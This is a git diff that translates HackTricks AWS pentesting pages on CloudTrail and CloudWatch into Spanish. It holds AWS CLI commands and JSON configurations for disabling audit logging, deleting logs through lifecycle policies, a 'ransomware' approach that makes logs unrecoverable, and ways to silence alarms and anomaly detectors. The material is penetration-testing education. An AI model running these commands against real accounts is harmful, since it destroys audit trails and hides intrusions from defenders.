[trail-name] ``` - -#### Disable multi-region logging - +#### Desactivar el registro en múltiples regiones ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` - -#### Disable Logging by Event Selectors - +#### Desactivar el registro mediante selectores de eventos ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -251,49 +235,42 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` +En el primer ejemplo, se proporciona un único selector de eventos como un array JSON con un solo objeto. El `"ReadWriteType": "ReadOnly"` indica que el **selector de eventos solo debe capturar eventos de solo lectura** (por lo que CloudTrail insights **no estará verificando eventos de escritura**, por ejemplo). -In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example). - -You can customize the event selector based on your specific requirements. - -#### Logs deletion via S3 lifecycle policy +Puedes personalizar el selector de eventos según tus requisitos específicos. +#### Eliminación de registros a través de la política de ciclo de vida de S3 ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` +### Modificando la Configuración del Bucket -### Modifying Bucket Configuration +- Eliminar el bucket S3 +- Cambiar la política del bucket para denegar cualquier escritura del servicio CloudTrail +- Agregar una política de ciclo de vida al bucket S3 para eliminar objetos +- Deshabilitar la clave KMS utilizada para cifrar los registros de CloudTrail -- Delete the S3 bucket -- Change bucket policy to deny any writes from the CloudTrail service -- Add lifecycle policy to S3 bucket to delete objects -- Disable the kms key used to encrypt the CloudTrail logs +### Ransomware de Cloudtrail -### Cloudtrail ransomware +#### Ransomware S3 -#### S3 ransomware - -You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\ -This is basically a **S3-KMS ransomware** explained in: +Podrías **generar una clave asimétrica** y hacer que **CloudTrail cifre los datos** con esa clave y **eliminar la clave privada** para que el contenido de CloudTrail no pueda ser recuperado.\ +Esto es básicamente un **ransomware S3-KMS** explicado en: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -**KMS ransomware** +**Ransomware KMS** -This is an easiest way to perform the previous attack with different permissions requirements: +Esta es una forma más fácil de realizar el ataque anterior con diferentes requisitos de permisos: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **Referencias** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0c790b881..9309063d8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,143 +4,142 @@ ## CloudWatch -**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\ -CloudWatch Log Event have a **size limitation of 256KB on each log line**.\ -It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications. +**CloudWatch** **recopila** datos de monitoreo y operación en forma de registros/métricas/eventos proporcionando una **vista unificada de los recursos de AWS**, aplicaciones y servicios.\ +Los eventos de registro de CloudWatch tienen una **limitación de tamaño de 256KB en cada línea de registro**.\ +Puede establecer **alarmas de alta resolución**, visualizar **registros** y **métricas** lado a lado, tomar acciones automatizadas, solucionar problemas y descubrir información para optimizar aplicaciones. -You can monitor for example logs from CloudTrail. Events that are monitored: +Puede monitorear, por ejemplo, registros de CloudTrail. Los eventos que se monitorean: -- Changes to Security Groups and NACLs -- Starting, Stopping, rebooting and terminating EC2 instances -- Changes to Security Policies within IAM and S3 -- Failed login attempts to the AWS Management Console -- API calls that resulted in failed authorization -- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- Cambios en los Grupos de Seguridad y NACLs +- Iniciar, detener, reiniciar y terminar instancias EC2 +- Cambios en las Políticas de Seguridad dentro de IAM y S3 +- Intentos de inicio de sesión fallidos en la Consola de Administración de AWS +- Llamadas a la API que resultaron en autorización fallida +- Filtros para buscar en cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) -## Key concepts +## Conceptos clave ### Namespaces -A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them. +Un namespace es un contenedor para métricas de CloudWatch. Ayuda a categorizar y aislar métricas, facilitando su gestión y análisis. -- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics. +- **Ejemplos**: AWS/EC2 para métricas relacionadas con EC2, AWS/RDS para métricas de RDS. -### Metrics +### Métricas -Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations. +Las métricas son puntos de datos recopilados a lo largo del tiempo que representan el rendimiento o la utilización de los recursos de AWS. Las métricas pueden ser recopiladas de servicios de AWS, aplicaciones personalizadas o integraciones de terceros. -- **Example**: CPUUtilization, NetworkIn, DiskReadOps. +- **Ejemplo**: CPUUtilization, NetworkIn, DiskReadOps. -### Dimensions +### Dimensiones -Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes. +Las dimensiones son pares clave-valor que son parte de las métricas. Ayudan a identificar de manera única una métrica y proporcionan contexto adicional, siendo 30 el número máximo de dimensiones que se pueden asociar con una métrica. Las dimensiones también permiten filtrar y agregar métricas en función de atributos específicos. -- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone. +- **Ejemplo**: Para instancias EC2, las dimensiones pueden incluir InstanceId, InstanceType y AvailabilityZone. -### Statistics +### Estadísticas -Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount. +Las estadísticas son cálculos matemáticos realizados sobre los datos de métricas para resumirlos a lo largo del tiempo. Las estadísticas comunes incluyen Promedio, Suma, Mínimo, Máximo y Conteo de Muestras. -- **Example**: Calculating the average CPU utilization over a period of one hour. +- **Ejemplo**: Calcular la utilización promedio de CPU durante un período de una hora. -### Units +### Unidades -Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count. +Las unidades son el tipo de medida asociado con una métrica. Las unidades ayudan a proporcionar contexto y significado a los datos de la métrica. Las unidades comunes incluyen Porcentaje, Bytes, Segundos, Conteo. -- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes. +- **Ejemplo**: CPUUtilization podría medirse en Porcentaje, mientras que NetworkIn podría medirse en Bytes. -## CloudWatch Features +## Características de CloudWatch ### Dashboard -**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services. +**Los Dashboards de CloudWatch** proporcionan **vistas personalizables de sus métricas de AWS CloudWatch**. Es posible crear y configurar dashboards para visualizar datos y monitorear recursos en una sola vista, combinando diferentes métricas de varios servicios de AWS. -**Key Features**: +**Características clave**: -- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more. -- **Customization**: Layout and content can be customized to fit specific monitoring needs. +- **Widgets**: Bloques de construcción de dashboards, incluyendo gráficos, texto, alarmas y más. +- **Personalización**: El diseño y el contenido se pueden personalizar para adaptarse a necesidades específicas de monitoreo. -**Example Use Case**: +**Ejemplo de caso de uso**: -- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets. +- Un solo dashboard que muestra métricas clave para todo su entorno de AWS, incluyendo instancias EC2, bases de datos RDS y buckets S3. -### Metric Stream and Metric Data +### Flujo de Métricas y Datos de Métricas -**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS. +**Los Flujos de Métricas** en AWS CloudWatch le permiten transmitir continuamente métricas de CloudWatch a un destino de su elección en casi tiempo real. Esto es particularmente útil para monitoreo avanzado, análisis y dashboards personalizados utilizando herramientas fuera de AWS. -**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources. +**Los Datos de Métricas** dentro de los Flujos de Métricas se refieren a las mediciones reales o puntos de datos que se están transmitiendo. Estos puntos de datos representan varias métricas como la utilización de CPU, el uso de memoria, etc., para los recursos de AWS. -**Example Use Case**: +**Ejemplo de caso de uso**: -- Sending real-time metrics to a third-party monitoring service for advanced analysis. -- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance. +- Enviar métricas en tiempo real a un servicio de monitoreo de terceros para análisis avanzado. +- Archivar métricas en un bucket de Amazon S3 para almacenamiento a largo plazo y cumplimiento. -### Alarm +### Alarma -**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function. +**Las Alarmas de CloudWatch** monitorean sus métricas y realizan acciones basadas en umbrales predefinidos. Cuando una métrica supera un umbral, la alarma puede realizar una o más acciones, como enviar notificaciones a través de SNS, activar una política de autoescalado o ejecutar una función de AWS Lambda. -**Key Components**: +**Componentes clave**: -- **Threshold**: The value at which the alarm triggers. -- **Evaluation Periods**: The number of periods over which data is evaluated. -- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm -- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS). +- **Umbral**: El valor en el que se activa la alarma. +- **Períodos de Evaluación**: El número de períodos sobre los cuales se evalúan los datos. +- **Puntos de Datos para la Alarma**: El número de períodos con un umbral alcanzado necesario para activar la alarma. +- **Acciones**: Lo que sucede cuando se activa el estado de la alarma (por ejemplo, notificar a través de SNS). -**Example Use Case**: +**Ejemplo de caso de uso**: -- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes. +- Monitorear la utilización de CPU de la instancia EC2 y enviar una notificación a través de SNS si supera el 80% durante 5 minutos consecutivos. -### Anomaly Detectors +### Detectores de Anomalías -**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues. +**Los Detectores de Anomalías** utilizan aprendizaje automático para detectar automáticamente anomalías en sus métricas. Puede aplicar la detección de anomalías a cualquier métrica de CloudWatch para identificar desviaciones de patrones normales que podrían indicar problemas. -**Key Components**: +**Componentes clave**: -- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like. -- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric. +- **Entrenamiento del Modelo**: CloudWatch utiliza datos históricos para entrenar un modelo y establecer cómo se ve el comportamiento normal. +- **Banda de Detección de Anomalías**: Una representación visual del rango esperado de valores para una métrica. -**Example Use Case**: +**Ejemplo de caso de uso**: -- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue. +- Detectar patrones inusuales de utilización de CPU en una instancia EC2 que podrían indicar una brecha de seguridad o un problema de aplicación. -### Insight Rules and Managed Insight Rules +### Reglas de Insight y Reglas de Insight Administradas -**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization. +**Las Reglas de Insight** le permiten identificar tendencias, detectar picos u otros patrones de interés en sus datos de métricas utilizando **expresiones matemáticas poderosas** para definir las condiciones bajo las cuales se deben tomar acciones. Estas reglas pueden ayudarle a identificar anomalías o comportamientos inusuales en el rendimiento y la utilización de sus recursos. -**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration. +**Las Reglas de Insight Administradas** son reglas de **insight preconfiguradas proporcionadas por AWS**. Están diseñadas para monitorear servicios específicos de AWS o casos de uso comunes y se pueden habilitar sin necesidad de una configuración detallada. -**Example Use Case**: +**Ejemplo de caso de uso**: -- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action. +- Monitoreo del Rendimiento de RDS: Habilitar una regla de insight administrada para Amazon RDS que monitorea indicadores clave de rendimiento como la utilización de CPU, el uso de memoria y el I/O de disco. Si alguna de estas métricas supera los umbrales operativos seguros, la regla puede activar una alerta o una acción de mitigación automatizada. -### CloudWatch Logs +### Registros de CloudWatch -Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported. +Permite **agregar y monitorear registros de aplicaciones** y sistemas de **servicios de AWS** (incluyendo CloudTrail) y **de aplicaciones/sistemas** (**CloudWatch Agent** se puede instalar en un host). Los registros pueden ser **almacenados indefinidamente** (dependiendo de la configuración del Grupo de Registros) y pueden ser exportados. -**Elements**: +**Elementos**: -| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | +| **Grupo de Registros** | Una **colección de flujos de registros** que comparten la misma retención, monitoreo y configuraciones de control de acceso | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | A sequence of **log events** that share the **same source** | -| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | +| **Flujo de Registros** | Una secuencia de **eventos de registro** que comparten la **misma fuente** | +| **Filtros de Suscripción** | Definen un **patrón de filtro que coincide con eventos** en un grupo de registros particular, enviándolos a un flujo de Kinesis Data Firehose, flujo de Kinesis o una función Lambda | -### CloudWatch Monitoring & Events +### Monitoreo y Eventos de CloudWatch -CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\ -In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +CloudWatch **básico** agrega datos **cada 5 minutos** (el **detallado** lo hace **cada 1 minuto**). Después de la agregación, **verifica los umbrales de las alarmas** en caso de que necesite activar una.\ +En ese caso, CloudWatch puede estar preparado para enviar un evento y realizar algunas acciones automáticas (funciones de AWS lambda, temas de SNS, colas de SQS, Flujos de Kinesis) -### Agent Installation +### Instalación del Agente -You can install agents inside your machines/containers to automatically send the logs back to CloudWatch. +Puede instalar agentes dentro de sus máquinas/contenedores para enviar automáticamente los registros de vuelta a CloudWatch. -- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -- **Configure** and **start** the CloudWatch Agent +- **Crear** un **rol** y **adjuntarlo** a la **instancia** con permisos que permitan a CloudWatch recopilar datos de las instancias además de interactuar con el administrador de sistemas de AWS SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Descargar** e **instalar** el **agente** en la instancia EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Puede descargarlo desde dentro de la EC2 o instalarlo automáticamente usando AWS System Manager seleccionando el paquete AWS-ConfigureAWSPackage +- **Configurar** y **iniciar** el Agente de CloudWatch -A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. - -## Enumeration +Un grupo de registros tiene muchos flujos. Un flujo tiene muchos eventos. Y dentro de cada flujo, los eventos están garantizados en orden. +## Enumeración ```bash # Dashboards # @@ -213,250 +212,217 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` - ## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents. - -In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete. +Un atacante con estos permisos podría socavar significativamente la infraestructura de monitoreo y alerta de una organización. Al eliminar alarmas existentes, un atacante podría deshabilitar alertas cruciales que notifican a los administradores sobre problemas críticos de rendimiento, brechas de seguridad o fallos operativos. Además, al crear o modificar alarmas métricas, el atacante también podría engañar a los administradores con alertas falsas o silenciar alarmas legítimas, enmascarando efectivamente actividades maliciosas y evitando respuestas oportunas a incidentes reales. +Además, con el permiso **`cloudwatch:PutCompositeAlarm`**, un atacante podría crear un bucle o ciclo de alarmas compuestas, donde la alarma compuesta A depende de la alarma compuesta B, y la alarma compuesta B también depende de la alarma compuesta A. En este escenario, no es posible eliminar ninguna alarma compuesta que sea parte del ciclo porque siempre hay una alarma compuesta que depende de esa alarma que deseas eliminar. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` +El siguiente ejemplo muestra cómo hacer que una alarma de métrica sea ineficaz: -The following example shows how to make a metric alarm ineffective: - -- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic. -- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm. +- Esta alarma de métrica monitorea la utilización promedio de CPU de una instancia EC2 específica, evalúa la métrica cada 300 segundos y requiere 6 períodos de evaluación (30 minutos en total). Si la utilización promedio de CPU supera el 60% durante al menos 4 de estos períodos, la alarma se activará y enviará una notificación al tema SNS especificado. +- Al modificar el Umbral para que sea más del 99%, establecer el Período en 10 segundos, los Períodos de Evaluación en 8640 (ya que 8640 períodos de 10 segundos equivalen a 1 día), y los Puntos de Datos a Alarma en 8640 también, sería necesario que la utilización de CPU estuviera por encima del 99% cada 10 segundos durante todo el período de 24 horas para activar una alarma. {{#tabs }} {{#tab name="Original Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-01234567890123456" - } - ], - "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 4, - "EvaluationPeriods": 6, - "Period": 300, - "Statistic": "Average", - "Threshold": 60, - "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", - "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-01234567890123456" +} +], +"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 4, +"EvaluationPeriods": 6, +"Period": 300, +"Statistic": "Average", +"Threshold": 60, +"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", +"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" } ``` - {{#endtab }} -{{#tab name="Modified Metric Alarm" }} - +{{#tab name="Alarma de Métrica Modificada" }} ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0645d6d414dadf9f8" - } - ], - "AlarmActions": [], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 8640, - "EvaluationPeriods": 8640, - "Period": 10, - "Statistic": "Average", - "Threshold": 99, - "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", - "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0645d6d414dadf9f8" +} +], +"AlarmActions": [], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 8640, +"EvaluationPeriods": 8640, +"Period": 10, +"Statistic": "Average", +"Threshold": 99, +"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", +"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Impacto Potencial**: Falta de notificaciones para eventos críticos, problemas potencialmente no detectados, alertas falsas, suprimir alertas genuinas y potencialmente detecciones perdidas de incidentes reales. -### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** +### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response. +Al eliminar acciones de alarma, el atacante podría prevenir alertas críticas y respuestas automáticas de ser activadas cuando se alcanza un estado de alarma, como notificar a los administradores o activar actividades de autoescalado. Habilitar o re-habilitar acciones de alarma de manera inapropiada también podría llevar a comportamientos inesperados, ya sea reactivando acciones previamente deshabilitadas o modificando qué acciones se activan, lo que podría causar confusión y desvío en la respuesta a incidentes. -In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures. - -- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration. +Además, un atacante con el permiso podría manipular los estados de alarma, siendo capaz de crear falsas alarmas para distraer y confundir a los administradores, o silenciar alarmas genuinas para ocultar actividades maliciosas en curso o fallos críticos del sistema. +- Si usas **`SetAlarmState`** en una alarma compuesta, la alarma compuesta no garantiza volver a su estado real. Regresa a su estado real solo una vez que cualquiera de sus alarmas hijas cambie de estado. También se reevaluará si actualizas su configuración. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` - -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Impacto Potencial**: Falta de notificaciones para eventos críticos, problemas potencialmente no detectados, alertas falsas, suprimir alertas genuinas y potencialmente detecciones perdidas de incidentes reales. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring. - +Un atacante podría comprometer la capacidad de detección y respuesta a patrones inusuales o anomalías en los datos de métricas. Al eliminar detectores de anomalías existentes, un atacante podría deshabilitar mecanismos críticos de alerta; y al crearlos o modificarlos, podría desconfigurarlos o crear falsos positivos para distraer o abrumar la supervisión. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` - -The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period. +El siguiente ejemplo muestra cómo hacer que un detector de anomalías de métricas sea ineficaz. Este detector de anomalías de métricas monitorea la utilización promedio de CPU de una instancia EC2 específica, y solo al agregar el parámetro “ExcludedTimeRanges” con el rango de tiempo deseado, sería suficiente para asegurar que el detector de anomalías no analice ni alerte sobre ningún dato relevante durante ese período. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +} } ``` - {{#endtab }} -{{#tab name="Modified Metric Anomaly Detector" }} - +{{#tab name="Detector de Anomalías de Métricas Modificadas" }} ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - }, - "Configuration": { - "ExcludedTimeRanges": [ - { - "StartTime": "2023-01-01T00:00:00Z", - "EndTime": "2053-01-01T23:59:59Z" - } - ], - "Timezone": "Europe/Madrid" - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +}, +"Configuration": { +"ExcludedTimeRanges": [ +{ +"StartTime": "2023-01-01T00:00:00Z", +"EndTime": "2053-01-01T23:59:59Z" +} +], +"Timezone": "Europe/Madrid" +} } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Direct effect in the detection of unusual patterns or security threats. +**Impacto Potencial**: Efecto directo en la detección de patrones inusuales o amenazas de seguridad. ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities. - +Un atacante podría comprometer las capacidades de monitoreo y visualización de una organización al crear, modificar o eliminar sus paneles. Estos permisos podrían ser utilizados para eliminar la visibilidad crítica sobre el rendimiento y la salud de los sistemas, alterar paneles para mostrar datos incorrectos o ocultar actividades maliciosas. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` +**Impacto Potencial**: Pérdida de visibilidad de monitoreo e información engañosa. -**Potential Impact**: Loss of monitoring visibility and misleading information. - -### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** - -Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team. +### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** +Las reglas de insight se utilizan para detectar anomalías, optimizar el rendimiento y gestionar recursos de manera efectiva. Al eliminar reglas de insight existentes, un atacante podría eliminar capacidades críticas de monitoreo, dejando al sistema ciego ante problemas de rendimiento y amenazas de seguridad. Además, un atacante podría crear o modificar reglas de insight para generar datos engañosos o ocultar actividades maliciosas, lo que llevaría a diagnósticos incorrectos y respuestas inapropiadas del equipo de operaciones. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` - -**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures. +**Impacto Potencial**: 